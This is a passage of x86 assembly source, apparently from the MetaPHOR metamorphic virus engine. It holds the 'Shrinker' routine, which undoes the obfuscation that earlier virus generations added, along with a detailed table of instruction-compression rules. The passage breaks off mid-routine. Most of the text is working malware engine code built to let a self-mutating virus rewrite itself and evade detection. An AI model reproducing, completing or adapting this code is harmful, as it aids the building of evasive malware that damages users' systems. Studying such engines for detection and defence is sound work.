;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The Shrinker ;; ------------ ;; ;; Required parameters: ;; [InstructionTable] = Pointer to first instruction in instruction table ;; [AddressOfLastInstruction] = The limit of the disassembly ;; ;; This function will eliminate all the obfuscation done by the expander in ;; previous generations. The compression is made by single instructions, pairs ;; or triplets. The work is performed in the pseudo-ASM the disassembler ;; generated, so the modifications are easier. ;; ;; The single, pairs and triplets scanned are the following (extracted from ;; the article I wrote about this engine): ;; ;; --------------------------------------------------------------------------- ;; ;; Legend: ;; Reg: A register ;; Mem: A memory address ;; Imm: Immediate ;; ;; When in an instruction is Reg,Reg or something like that, both are the ;; same register. If they are different, I write it as Reg,Reg2 (for example). ;; ;; Transformations over single instructions: ;; ;; XOR Reg,-1 --> NOT Reg ;; XOR Mem,-1 --> NOT Mem ;; MOV Reg,Reg --> NOP ;; SUB Reg,Imm --> ADD Reg,-Imm ;; SUB Mem,Imm --> ADD Mem,-Imm ;; XOR Reg,0 --> MOV Reg,0 ;; XOR Mem,0 --> MOV Mem,0 ;; ADD Reg,0 --> NOP ;; ADD Mem,0 --> NOP ;; OR Reg,0 --> NOP ;; OR Mem,0 --> NOP ;; AND Reg,-1 --> NOP ;; AND Mem,-1 --> NOP ;; AND Reg,0 --> MOV Reg,0 ;; AND Mem,0 --> MOV Mem,0 ;; XOR Reg,Reg --> MOV Reg,0 ;; SUB Reg,Reg --> MOV Reg,0 ;; OR Reg,Reg --> CMP Reg,0 ;; AND Reg,Reg --> CMP Reg,0 ;; TEST Reg,Reg --> CMP Reg,0 ;; LEA Reg,[Imm] --> MOV Reg,Imm ;; LEA Reg,[Reg+Imm] --> ADD Reg,Imm ;; LEA Reg,[Reg2] --> MOV Reg,Reg2 ;; LEA Reg,[Reg+Reg2] --> ADD Reg,Reg2 ;; LEA Reg,[Reg2+Reg2+xxx] --> LEA Reg,[2*Reg2+xxx] ;; MOV Reg,Reg --> NOP ;; MOV Mem,Mem --> NOP (result of a compression of ;; PUSH Mem/POP Mem, with pseudoopcode 4F) ;; ;; The instructions that are eliminated (the ones that mean NOP) are be used ;; as garbage along the executable code. Since every NOP instruction can be ;; expanded (for example, MOV Reg,Reg can be set as PUSH Reg/POP Reg, and every ;; PUSH and POP also can be expanded, and so on) you can't know what's garbage ;; and what's not until you have compressed everything. ;; ;; The pairs of instructions that MetaPHOR can compress are: ;; ;; PUSH Imm / POP Reg --> MOV Reg,Imm ;; PUSH Imm / POP Mem --> MOV Mem,Imm ;; PUSH Reg / POP Reg2 --> MOV Reg2,Reg ;; PUSH Reg / POP Mem --> MOV Mem,Reg ;; PUSH Mem / POP Reg --> MOV Reg,Mem ;; PUSH Mem / POP Mem2 --> MOV Mem2,Mem (codificated ;; with pseudoopcode 4F) ;; MOV Mem,Reg/PUSH Mem --> PUSH Reg ;; POP Mem / MOV Reg,Mem --> POP Reg ;; POP Mem2 / MOV Mem,Mem2 --> POP Mem ;; MOV Mem,Reg / MOV Reg2,Mem --> MOV Reg2,Reg ;; MOV Mem,Imm / PUSH Mem --> PUSH Imm ;; MOV Mem,Imm / OP Reg,Mem --> OP Reg,Imm ;; MOV Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg2+Imm] ;; MOV Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg2+Imm] ;; MOV Reg,Reg2 / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3] ;; ADD Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg+Reg2+Imm] ;; ADD Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg+Reg2+Imm] ;; OP Reg,Imm / OP Reg,Imm2 --> OP Reg,(Imm OP Imm2) ;; (must be calculated) ;; OP Mem,Imm / OP Mem,Imm2 --> OP Mem,(Imm OP Imm2) ;; (must be calculated) ;; LEA Reg,[Reg2+Imm] / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3+Imm] ;; LEA Reg,[(RegX+)Reg2+Imm] / ADD Reg,Reg2 -> LEA Reg,[(RegX+)2*Reg2+Imm] ;; POP Mem / PUSH Mem --> NOP ;; MOV Mem2,Mem / MOV Mem3,Mem2 --> MOV Mem3,Mem ;; MOV Mem2,Mem / OP Reg,Mem2 --> OP Reg,Mem ;; MOV Mem2,Mem / MOV Mem2,xxx --> MOV Mem2,xxx ;; MOV Mem,Reg / CALL Mem --> CALL Reg ;; MOV Mem,Reg / JMP Mem --> JMP Reg ;; MOV Mem2,Mem / CALL Mem2 --> CALL Mem ;; MOV Mem2,Mem / JMP Mem2 --> JMP Mem ;; MOV Mem,Reg / MOV Mem2,Mem --> MOV Mem2,Reg ;; OP Reg,xxx / MOV Reg,yyy --> MOV Reg,yyy ;; Jcc @xxx / !Jcc @xxx --> JMP @xxx (this applies to ;; (Jcc & 0FEh) with (Jcc | 1) ;; NOT Reg / NEG Reg --> ADD Reg,1 ;; NOT Reg / ADD Reg,1 --> NEG Reg ;; NOT Mem / NEG Mem --> ADD Mem,1 ;; NOT Mem / ADD Mem,1 --> NEG Mem ;; NEG Reg / NOT Reg --> ADD Reg,-1 ;; NEG Reg / ADD Reg,-1 --> NOT Reg ;; NEG Mem / NOT Mem --> ADD Mem,-1 ;; NEG Mem / ADD Mem,-1 --> NOT Mem ;; CMP X,Y / != Jcc (CMP without Jcc) --> NOP ;; TEST X,Y / != Jcc --> NOP ;; POP Mem / JMP Mem --> RET ;; PUSH Reg / RET --> JMP Reg ;; CALL Mem / MOV Mem2,EAX --> CALL Mem / APICALL_STORE Mem2 ;; MOV Reg,Mem / CALL Reg --> CALL Mem ;; XOR Reg,Reg / MOV Reg8,[Mem] --> MOVZX Reg,byte ptr [Mem] ;; MOV Reg,[Mem] / AND Reg,0FFh --> MOVZX Reg,byte ptr [Mem] ;; ;; ;; Maybe there are more, but this set is sufficient, at least for our ;; proposits. What we do know is scan the code for this situations and then we ;; substitute the first instruction by their equivalent and we overwrite with ;; NOP the second, so the instructions are compressed. ;; ;; But there are more: the triplets: ;; ;; MOV Mem,Reg ;; OP Mem,Reg2 ;; MOV Reg,Mem --> OP Reg,Reg2 ;; ;; MOV Mem,Reg ;; OP Mem,Imm ;; MOV Reg,Mem --> OP Reg,Imm ;; ;; MOV Mem,Imm ;; OP Mem,Reg ;; MOV Reg,Mem --> OP Reg,Imm (it can't be SUB) ;; ;; MOV Mem2,Mem ;; OP Mem2,Reg ;; MOV Mem,Mem2 --> OP Mem,Reg ;; ;; MOV Mem2,Mem ;; OP Mem2,Imm ;; MOV Mem,Mem2 --> OP Mem,Imm ;; ;; CMP Reg,Reg ;; JO/JB/JNZ/JA/JS/JNP/JL/JG @xxx ;; != Jcc --> NOP ;; ;; CMP Reg,Reg ;; JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE @xxx ;; != Jcc --> JMP @xxx ;; ;; MOV Mem,Imm ;; CMP/TEST Reg,Mem ;; Jcc @xxx --> CMP/TEST Reg,Imm ;; Jcc @xxx ;; MOV Mem,Reg ;; SUB/CMP Mem,Reg2 ;; Jcc @xxx --> CMP Reg,Reg2 ;; Jcc @xxx ;; MOV Mem,Reg ;; AND/TEST Mem,Reg2 ;; Jcc @xxx --> TEST Reg,Reg2 ;; Jcc @xxx ;; MOV Mem,Reg ;; SUB/CMP Mem,Imm ;; Jcc @xxx --> CMP Reg,Imm ;; Jcc @xxx ;; MOV Mem,Reg ;; AND/TEST Mem,Imm ;; Jcc @xxx --> TEST Reg,Imm ;; Jcc @xxx ;; MOV Mem2,Mem ;; CMP/TEST Reg,Mem2 ;; Jcc @xxx --> CMP/TEST Reg,Mem ;; Jcc @xxx ;; MOV Mem2,Mem ;; AND/TEST Mem2,Reg ;; Jcc @xxx --> TEST Mem,Reg ;; Jcc @xxx ;; MOV Mem2,Mem ;; SUB/CMP Mem2,Reg ;; Jcc @xxx --> CMP Mem,Reg ;; Jcc @xxx ;; MOV Mem2,Mem ;; AND/TEST Mem2,Imm ;; Jcc @xxx --> TEST Mem,Imm ;; Jcc @xxx ;; MOV Mem2,Mem ;; SUB/CMP Mem2,Imm ;; Jcc @xxx --> CMP Mem,Imm ;; Jcc @xxx ;; PUSH EAX ;; PUSH ECX ;; PUSH EDX --> APICALL_BEGIN ;; ;; POP EDX ;; POP ECX ;; POP EAX --> APICALL_END ;;---------------------------------------------------------------------------- ;; ;; ShrinkCode acts over the disassembled buffer in [InstructionTable]. ;; ShrinkCode proc mov edi, [ebp+InstructionTable] mov eax, [edi] and eax, 0FFh ; Get pseudo-opcode call CheckIfInstructionUsesMem ; Uses a memory address? or eax, eax jz @@Shrink ; If not, continue call OrderRegs ; Order the indexes of the instruction ; from lower to upper @@Shrink: mov eax, [edi] and eax, 0FFh ; Get pseudo-op cmp eax, 0FFh ; Is it NOP? jz @@IncreaseEIP ; If so, increase pointer call ShrinkThisInstructions ; Check for singles, pairs or ; triplets or eax, eax ; Do we performed a compression? jz @@IncreaseEIP ; If we don't, increase pointer call DecreaseEIP ; Decrease the pointer three instructions call DecreaseEIP ; to get a possible matching group with call DecreaseEIP ; the two above. jmp @@Shrink ; Check again @@IncreaseEIP: call IncreaseEIP ; Increase pointer cmp edi, [ebp+AddressOfLastInstruction] ; Last instruction? jnz @@Shrink ; If not, check next group @@DecreaseAddressOfLastInstruction: sub edi, 10h ; Now we eliminate the remaining NOPs mov eax, [edi] ; at the end of all the instructions. and eax, 0FFh cmp eax, 0FFh jnz @@LastInstructionOK mov [ebp+AddressOfLastInstruction], edi jmp @@DecreaseAddressOfLastInstruction @@LastInstructionOK: ;; Second pass to find APICALL_BEGIN, APICALL_END and SET_WEIGHT mov edi, [ebp+InstructionTable] @@FindAPICALL_X: @@GetFirstInstruction: call IncreaseEIP2 ; Increase pointer cmp eax, -1 ; End of instruction table? jz @@EndOfScan ; If so, finish the search mov eax, [edi] and eax, 0FFh cmp eax, 50h jnz @@ItsNot_SET_WEIGHT push edi mov esi, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 40h jnz @@ItsNot_SET_WEIGHT_2 mov edx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 40h jnz @@ItsNot_SET_WEIGHT_2 mov ecx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 43h jnz @@ItsNot_SET_WEIGHT_2 mov ebx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 58h jnz @@ItsNot_SET_WEIGHT_2 mov eax, [esi+1] and eax, 0FFh mov esi, eax mov eax, [edx+1] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi+1] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 mov esi, [ecx+1] and esi, 0FFh mov eax, [ebx+7] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 pop esi mov eax, 0F7h ; SET_WEIGHT mov [esi], al mov eax, [esi+1] mov [esi+9], al mov eax, [ebx+1] mov [esi+1], eax mov eax, [ebx+3] mov [esi+3], eax mov eax, [edx+7] mov [esi+7], al mov eax, [ecx+1] mov [esi+8], al mov eax, 0FFh mov [edx], eax mov [ecx], eax mov [ebx], eax mov [edi], eax jmp @@AllOK @@ItsNot_SET_WEIGHT_2: pop edi @@ItsNot_SET_WEIGHT: @@AllOK: @@CheckAPICALL_X: mov edx, edi ; Save pointer in EDX push edi @@GetSecondInstruction: call IncreaseEIP2 ; Get next cmp eax, -1 ; End of code? jz @@EndOfScan ; Finish, then or eax, eax ; Label over the instruction? jnz @@EndOfTriplet ; If there's label, ignore the group mov esi, edi ; Put pointer in ESI @@GetThirdInstruction: call IncreaseEIP2 ; Do the same: increase pointer and check cmp eax, -1 ; for end of code or a label over the jz @@EndOfScan ; instruction or eax, eax jnz @@EndOfTriplet mov eax, [edx] ; Get the first instruction and eax, 0FFh cmp eax, 50h ; PUSH Reg? jnz @@FindAPICALL_END ; If not, check next instruction mov eax, [esi] ; Get the second instruction and eax, 0FFh cmp eax, 50h ; PUSH Reg? jnz @@FindAPICALL_END ; If not, next instruction mov eax, [edi] ; Get the third instruction and eax, 0FFh cmp eax, 50h ; PUSH Reg? jnz @@FindAPICALL_END ; If not, next instruction mov eax, [edx+1] and eax, 0FFh or eax, eax ; First instruction is PUSH EAX? jnz @@FindAPICALL_END ; If it isn't, it's not APICALL_* mov eax, [esi+1] and eax, 0FFh cmp eax, 1 ; Is it PUSH ECX? jnz @@FindAPICALL_END ; If not, check other mov eax, [edi+1] and eax, 0FFh cmp eax, 2 ; Is it PUSH EDX jnz @@FindAPICALL_END ; If not, check other mov eax, 0F4h ; APICALL_BEGIN @@SetAPICALL_X: mov [edx], eax ; Set instruction mov eax, 0FFh mov [esi], eax ; NOP the second and third instruction mov [edi], eax jmp @@EndOfTriplet ; Check next group @@FindAPICALL_END: mov eax, [edx] ; Get the first instruction and eax, 0FFh cmp eax, 58h ; POP Reg? jnz @@EndOfTriplet ; If not, next group mov eax, [esi] ; Check the second instruction and eax, 0FFh cmp eax, 58h ; POP Reg? jnz @@EndOfTriplet ; If not, next group mov eax, [edi] ; Get the third instruction and eax, 0FFh cmp eax, 58h ; POP Reg? jnz @@EndOfTriplet ; If not, next group mov eax, [edx+1] and eax, 0FFh cmp eax, 2 ; First instruction = POP EDX? jnz @@EndOfTriplet ; If not, check next group mov eax, [esi+1] and eax, 0FFh cmp eax, 1 ; Second instruction = POP ECX? jnz @@EndOfTriplet ; If not, check next group mov eax, [edi+1] and eax, 0FFh or eax, eax ; Third instruction = POP EAX? jnz @@EndOfTriplet ; If not, check next group mov eax, 0F5h ; Set APICALL_END jmp @@SetAPICALL_X @@EndOfTriplet: pop edi ; Restore pointer and check next triplet jmp @@FindAPICALL_X @@EndOfScan: pop edi ret ShrinkCode endp ;; Function used while we scan for APICALL_BEGIN and APICALL_END IncreaseEIP2 proc cmp edi, [ebp+AddressOfLastInstruction] jz @@EndOfScan add edi, 10h ; Increase instruction pointer cmp edi, [ebp+AddressOfLastInstruction] jz @@EndOfScan ; If we finished the code, return -1 mov eax, [edi] ; Get the instruction and eax, 0FFh cmp eax, 0FFh ; If it's NOP, increase again jz IncreaseEIP2 mov eax, [edi+0Bh] ; Get the label flag and eax, 0FFh ; Return 1 if the instruction has a ret ; label pointing to it or 0 if it doesn't have it @@EndOfScan: mov eax, -1 ret IncreaseEIP2 endp ;; Function that decreases the instruction pointer. It will decrease while ;; the instruction is NOP, unless it's the first or it's labelled. DecreaseEIP proc @@Again: cmp edi, [ebp+InstructionTable] ; if we are just at the jz @@OK ; beginning, return mov eax, [edi+0Bh] ; Check label and eax, 0FFh ; If the current instruction is labelled, or eax, eax ; finish the decreasing jnz @@OK sub edi, 10h ; Decrease the pointer mov eax, [edi] and eax, 0FFh cmp eax, 0FFh ; Is it NOP? jz @@Again ; If it is, decrease again @@OK: ret DecreaseEIP endp ;; Function that increases the instruction pointer. It will increase until ;; the current instruction isn't NOP or it's the last instruction of the code. IncreaseEIP proc mov ecx, [ebp+AddressOfLastInstruction] cmp edi, ecx ; Pointing to last instruction? jz @@_End ; If so, end @@Again: add edi, 10h ; Check next cmp edi, ecx ; Last instruction? jz @@_End ; If so, end mov eax, [edi+0Bh] ; Check if it's labelled and eax, 0FFh or eax, eax ; If it's labelled, end increasing jnz @@End mov eax, [edi] ; Get instruction and eax, 0FFh cmp eax, 0FFh ; If it's NOP, increase again jz @@Again @@End: mov eax, [edi] and eax, 0FFh ; Check if the instruction uses a call CheckIfInstructionUsesMem ; memory address or eax, eax jz @@_End call OrderRegs ; If it uses a memory address, order the ; indexes mov eax, [edi] ; Check if the instruction is MOV Mem,Mem and eax, 0FFh cmp eax, 4Fh jnz @@_End push edi ; If it's MOV Mem,Mem, order the indexes mov edi, [edi+7] ; of the extended part call OrderRegs pop edi @@_End: ret IncreaseEIP endp ;; Function to order the indexes in an instruction that uses a memory address. ;; If it has a single index, it's set at +1 (since the disassembler maybe put ;; it at +2 and set a 8 value in +1). If it has a multiplicator, just leave ;; it at +2 (by specifications). If the instruction has two indexes with no ;; multiplicators, put the lower one at +1 and other at +2. In case that the ;; one at +2 has a multiplicator, the indexes are unexchanged. OrderRegs proc push edx mov eax, [edi+1] ; Check the index and eax, 0FFh cmp eax, 8 ; If it doesn't exists, check the jnz @@_Next ; second index mov eax, [edi+2] ; Get the second index and eax, 0FFh cmp eax, 7 ; If it has a scalar modification (*2, ja @@_End ; *4 or *8) just leave it. ; At this point, +1 is free and +2 holds an index mov edx, [edi+1] ; Put the index at +1 and edx, 0FFFFFF00h add eax, edx mov [edi+1], eax mov eax, [edi+2] ; Free the position at +2 and eax, 0FFFFFF00h add eax, 8 mov [edi+2], eax @@_End: pop edx ; Return ret ; At this point, we put the lowest at +1. +1 is sure to hold ; a register, so +2 holds another one, 8 (no one) or one with ; multiplicator. In all cases, we can check for the lowest ; number and put it at +1 and we are ordering them (since a ; free position at +2 would be 8, which is always > [+1] or ; would use a scalar, so it would be >= 40h) @@_Next: mov eax, [edi+2] ; Get the two indexes mov edx, [edi+1] and eax, 0FFh and edx, 0FFh cmp eax, edx ; If EAX > EDX, they are already ordered ja @@_End push eax mov edx, [edi+2] ; Get the lowest at +2 in EDX mov eax, [edi+1] ; Get the highest at +1 in EAX and eax, 0FFh and edx, 0FFFFFF00h add eax, edx ; Combine the data mov [edi+2], eax ; Set the register at +2 pop eax mov edx, [edi+1] ; Get the DWORD at +1 (keep all info) and edx, 0FFFFFF00h add eax, edx ; Merge it with the lowest register mov [edi+1], eax ; Set it at +1 pop edx ret ; Return with the indexes ordered OrderRegs endp ; EDI = Instruction pointer ; ECX = Address of last instruction ; returns: ; EAX != 0 if compressed, EAX = 0 if left unchanged ShrinkThisInstructions proc ;;; Single instructions. The instructions are converted to their equivalent ;;; from the obfuscated form. In this way we also make easier the search of ;;; pairs and triplets. push edi @@Check_Single: mov eax, [edi] and eax, 0FFh cmp eax, 30h ; Check XOR Reg,Imm jnz @@Single_Next00 mov ecx, 0E0h ; Maybe it's NOT Reg @@Single_Next_CommonXOR_s1: mov eax, [edi+7] ; Get the Imm @@Single_Next_CommonXOR_s1_2: cmp eax, -1 ; Check if it's -1 jz @@Single_SetInstructionECX ; If it is, set opcode <ECX> @@Single_Next_CheckNulOP: or eax, eax ; Check if it's XOR with 0 jnz @@Single_End jmp @@Single_SetNOP ; If it's 0, set a NOP @@Single_SetInstructionECX: mov eax, ecx ; Set the opcode in <ECX> jmp @@Single_SetInstruction @@Single_Next00: ;mov al, [edi] cmp eax, 34h ; Check XOR Mem,Imm jnz @@Single_Next00_ mov ecx, 0E1h ; Set NOT Mem if Imm == -1 jmp @@Single_Next_CommonXOR_s1 @@Single_Next00_: cmp eax, 4Bh ; Check TEST Mem,Reg jnz @@Single_Next00__ mov eax, 4Ah ; If it is, set TEST Reg,Mem (the other jmp @@Single_SetInstruction ; possibility doesn't exist) @@Single_Next00__: cmp eax, 4Bh+80h ; Check TEST Mem,Reg (8 bits) jnz @@Single_Next01 mov eax, 4Ah+80h ; It it is, set TEST Reg,Mem (8 bits) jmp @@Single_SetInstruction @@Single_Next01: ;mov al, [edi] cmp eax, 30h+80h ; XOR Reg8,Imm8? jnz @@Single_Next02 mov ecx, 0E2h ; Set NOT if Imm8 == -1 @@Single_Next01_GetSigned: mov eax, [edi+7] and eax, 0FFh cmp eax, 80h jb @@Single_Next01_NotSigned add eax, 0FFFFFF00h @@Single_Next01_NotSigned: jmp @@Single_Next_CommonXOR_s1_2 @@Single_Next02: ;mov al, [edi] cmp eax, 34h+80h ; XOR Mem8,Imm8? jnz @@Single_Next03 mov ecx, 0E3h ; Set NOT if Imm8 == -1 jmp @@Single_Next01_GetSigned @@Single_Next03: ;mov al, [edi] cmp eax, 41h ; MOV Reg,Reg? jnz @@Single_Next04 @@Single_Next_CommonMOV: mov eax, [edi+1] ; Check if source and destiny are mov ecx, [edi+7] ; the same and eax, 0FFh and ecx, 0FFh cmp eax, ecx ; If they are, set NOP jnz @@Single_End @@Single_SetNOP: mov eax, 0FFh @@Single_SetInstruction: mov ecx, [edi] ; Get the DWORD at [EDI] and ecx, 0FFFFFF00h and eax, 0FFh ; Set 0FF on the lower byte (set NOP) add eax, ecx mov [edi], eax ; Write back the DWORD jmp @@EndCompressed @@Single_Next04: ;mov al, [edi] cmp eax, 41h+80h ; MOV Reg8,Reg8? jz @@Single_Next_CommonMOV @@Single_Next05: ;mov al, [edi] cmp eax, 28h ; SUB Reg,Imm? jnz @@Single_Next06 xor ecx, ecx ; Just put ADD @@Single_Next_NegateImm: mov eax, [edi+7] ; Negate the Imm neg eax mov [edi+7], eax jmp @@Single_SetInstructionECX ; Set the opcode of ADD @@Single_Next06: ;mov al, [edi] cmp eax, 28h+80h ; SUB Reg8,Imm8? jnz @@Single_Next07 mov ecx, 00h+80h ; Set the opcode of ADD Reg8,Imm8 jmp @@Single_Next_NegateImm ; Jump to negate the Imm @@Single_Next07: ;mov al, [edi] cmp eax, 2Ch ; SUB Mem,Imm? jnz @@Single_Next08 mov ecx, 04h ; Set ADD Mem,-Imm jmp @@Single_Next_NegateImm @@Single_Next08: ;mov al, [edi] cmp eax, 2Ch+80h ; SUB Mem8,Imm8? jnz @@Single_Next09 mov ecx, 04h+80h ; Set ADD Mem8,-Imm8 jmp @@Single_Next_NegateImm @@Single_Next09: ;mov al, [edi] or eax, eax ; ADD Reg,Imm? jnz @@Single_Next10 @@Single_Next_CheckNulOP_2: mov eax, [edi+7] ; Check if it's ADD Reg,0. If it is, jmp @@Single_Next_CheckNulOP ; anulate the instruction @@Single_Next10: cmp eax, 4 ; ADD Mem,Imm? jz @@Single_Next_CheckNulOP_2 ; If it is, check for Imm==0 cmp eax, 04h+80h ; ADD Mem8,Imm8? jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0 cmp eax, 0Ch ; OR Mem,Imm? jz @@Single_Next_CheckNulOP_2 ; Check for Imm == 0 cmp eax, 0Ch+80h ; OR Mem8,Imm8? jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0 cmp eax, 24h+80h ; AND Mem8,Imm8? jz @@Single_Next10_Check_s1_8b ; Check for Imm8 == -1 or 0 cmp eax, 24h ; AND Mem,Imm? jnz @@Single_Next10_ ; Check for Imm == -1 or 0 @@Single_Next10_Check_s1: mov eax, [edi+7] ; Get Imm cmp eax, -1 jz @@Single_SetNOP ; If Imm == -1, set NOP or eax, eax jnz @@Single_End ; If Imm == 0, mov eax, 44h ; set MOV Mem,0 jmp @@Single_SetInstruction @@Single_Next10_Check_s1_8b: mov eax, [edi+7] and eax, 0FFh cmp eax, 0FFh ; Check if Imm8 == -1 jz @@Single_SetNOP ; If it is, set NOP or eax, eax ; Check if Imm8 == 0 jnz @@Single_End ; If it isn't, check doubles mov eax, 44h+80h ; Set MOV Mem8,0 jmp @@Single_SetInstruction @@Single_Next10_: ;mov al, [edi] cmp eax, 00h+80h ; ADD Reg8,Imm8? jnz @@Single_Next11 @@Single_Next_CheckNulOP_2_8b: ;xor eax, eax mov eax, [edi+7] ; Get the Imm and go to check if it's 0 and eax, 0FFh jmp @@Single_Next_CheckNulOP @@Single_Next11: ;mov al, [edi] cmp eax, 08h ; OR Reg,Imm? jz @@Single_Next_CheckNulOP_2 ; Check if Imm is 0 @@Single_Next12: ;mov al, [edi] cmp eax, 08h+80h ; OR Reg8,Imm8? jz @@Single_Next_CheckNulOP_2_8b ; Check if is 0 @@Single_Next13: ;mov al, [edi] cmp eax, 20h ; AND Reg,Imm? jnz @@Single_Next14 mov eax, [edi+7] ; Check if Imm == -1 cmp eax, -1 jz @@Single_SetNOP ; If it is, set NOP or eax, eax jnz @@Single_End mov eax, 40h ; If it's 0, set MOV Reg,0 jmp @@Single_SetInstruction @@Single_Next14: ;mov al, [edi] cmp eax, 20h+80h ; AND Reg8,Imm8? jnz @@Single_Next15 mov eax, [edi+7] ; Get Imm8 and eax, 0FFh cmp eax, 0FFh ; Check if it's -1 jz @@Single_SetNOP ; If it is, set NOP or eax, eax jnz @@Single_End ; Check if it's 0 mov eax, 40h+80h ; If it is, set MOV Reg,0 jmp @@Single_SetInstruction @@Single_Next15: ;mov al, [edi] cmp eax, 31h ; XOR Reg,Reg? jnz @@Single_Next16 @@Single_Next_CheckSetTo0: mov ecx, 40h ; Set ECX = pseudoopcode of MOV @@Single_Next_CheckSetTo0_2: mov eax, [edi+1] ; Check if source == destiny mov ebx, [edi+7] and eax, 0FFh and ebx, 0FFh cmp eax, ebx ; If they are equal... jnz @@Single_End ; ... xor eax, eax ; ...set MOV Reg,0 mov [edi+7], eax jmp @@Single_SetInstructionECX @@Single_Next16: ;mov al, [edi] cmp eax, 31h+80h ; XOR Reg8,Reg8? jnz @@Single_Next17 @@Single_Next_CheckSetTo0_8b: mov ecx, 40h+80h ; Check if source == destiny and put jmp @@Single_Next_CheckSetTo0_2 ; MOV Reg8,0 if they are ; equal @@Single_Next17: ;mov al, [edi] cmp eax, 29h ; SUB Reg,Reg? jz @@Single_Next_CheckSetTo0 ; Check in the same way as ; XOR Reg,Reg @@Single_Next18: ;mov al, [edi] cmp eax, 29h+80h ; SUB Reg8,Reg8? jz @@Single_Next_CheckSetTo0_8b ; Check if src == dest, to ; see if we put MOV Reg8,0 @@Single_Next19: ;mov al, [edi] cmp eax, 09h ; OR Reg,Reg? jnz @@Single_Next20 @@Single_Next_CheckCheckIf0: mov ecx, 38h ; Put CMP Reg,0 if src == dest jmp @@Single_Next_CheckSetTo0_2 @@Single_Next20: ;mov al, [edi] cmp eax, 09h+80h ; OR Reg8,Reg8? jnz @@Single_Next21 @@Single_Next_CheckCheckIf0_8b: mov ecx, 38h+80h ; Put CMP Reg8,0 if src == dest jmp @@Single_Next_CheckSetTo0_2 @@Single_Next21: ;mov al, [edi] cmp eax, 21h ; AND Reg,Reg? jz @@Single_Next_CheckCheckIf0 @@Single_Next22: ;mov al, [edi] cmp eax, 21h+80h ; AND Reg8,Reg8? jz @@Single_Next_CheckCheckIf0_8b @@Single_Next23: ;mov al, [edi] cmp eax, 49h ; TEST Reg,Reg? jz @@Single_Next_CheckCheckIf0 @@Single_Next24: ;mov al, [edi] cmp eax, 49h+80h ; TEST Reg8,Reg8? jz @@Single_Next_CheckCheckIf0_8b @@Single_Next25: ;mov al, [edi] cmp eax, 0FCh ; LEA Reg,[Mem]? jnz @@Single_Next26 mov eax, [edi+2] ; Check second index and eax, 0FFh cmp eax, 40h ; If it has a multiplicator, it's not jae @@Single_Next26 ; interesting mov eax, [edi+1] ; Now +1 holds the first index (and if and eax, 0FFh ; there aren't multiplicators, this cmp eax, 8 ; must be < 8 if there is an index) jz @@Single_Next_LEA_CheckMOV ; If 8, there aren't indexes mov ecx, [edi+7] and ecx, 0FFh ; ECX = Destiny register cmp eax, ecx ; Are they equal? jz @@Single_Next_LEA_CheckADD ; If so, check ADD mov eax, [edi+2] ; Get the second index and eax, 0FFh ; Is there anyone? cmp eax, 8 jz @@Single_Next_LEA_CheckMOVRegReg ; If not, check MOV cmp eax, ecx ; Is equal to the destiny? jz @@Single_Next_LEA_CheckADDRegReg2 ; If so, check ADD mov ecx, [edi+1] ; Get the first index and ecx, 0FFh cmp eax, ecx ; If it's not equal to the second, jnz @@Single_End ; finish singles conversion mov eax, 8 ; Set the first index as 8 mov ecx, [edi+1] and ecx, 0FFFFFF00h add eax, ecx mov [edi+1], eax mov eax, [edi+2] add eax, 40h ; Set LEA Reg,[2*Reg] mov [edi+2], eax jmp @@EndCompressed ; End with compression flag @@Single_Next_LEA_CheckADDRegReg2: mov eax, [edi+3] ; Get the immediate or eax, eax ; If it's 0, set ADD Reg,Reg jz @@Single_Next_LEA_SetADDRegReg_2 ; If not, leave LEA jmp @@Single_End @@Single_Next_LEA_CheckMOV: mov eax, [edi+2] ; It DOESN'T hold anything more than and eax, 0FFh ; 8, but just in case cmp eax, 8 jz @@Single_Next_LEA_SetMOV ; If 8, set MOV Reg,Imm mov ecx, [edi+7] ; Get the destiny and ecx, 0FFh cmp eax, ecx ; If destiny == index, set ADD jz @@Single_Next_LEA_SetADD_2 mov eax, [edi+3] ; Get the Immediate or eax, eax ; If it isn't 0, end jnz @@Single_End @@Single_Next_LEA_SetMOVRegReg_2: mov eax, [edi+2] ; Set MOV Reg,Reg (from LEA Reg,[Reg]) mov ecx, [edi+1] and ecx, 0FFFFFF00h and eax, 0FFh add eax, ecx mov [edi+1], eax mov eax, 41h jmp @@Single_SetInstruction @@Single_Next_LEA_SetADD_2: mov ecx, [edi+1] ; Set ADD Reg,Reg (from and ecx, 0FFFFFF00h ; LEA Reg,[Reg+Reg2]) and eax, 0FFh add eax, ecx mov [edi+1], eax mov eax, [edi+3] mov [edi+7], eax xor eax, eax jmp @@Single_SetInstruction @@Single_Next_LEA_SetMOV: mov ecx, 40h ; Set MOV Reg,Imm (from LEA Reg,[Imm]) mov eax, [edi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFFFFF00h add eax, ebx mov [edi+1], eax @@Single_Next_LEA_SetInstructionECX: mov eax, [edi+3] mov [edi+7], eax jmp @@Single_SetInstructionECX @@Single_Next_LEA_CheckADD: mov eax, [edi+2] ; Check another possibility for ADD and eax, 0FFh cmp eax, 8 ; If Index2 == 8 (not set), set jz @@Single_Next_LEA_SetADD ; ADD Reg,Imm mov eax, [edi+3] ; If Index2 != 8 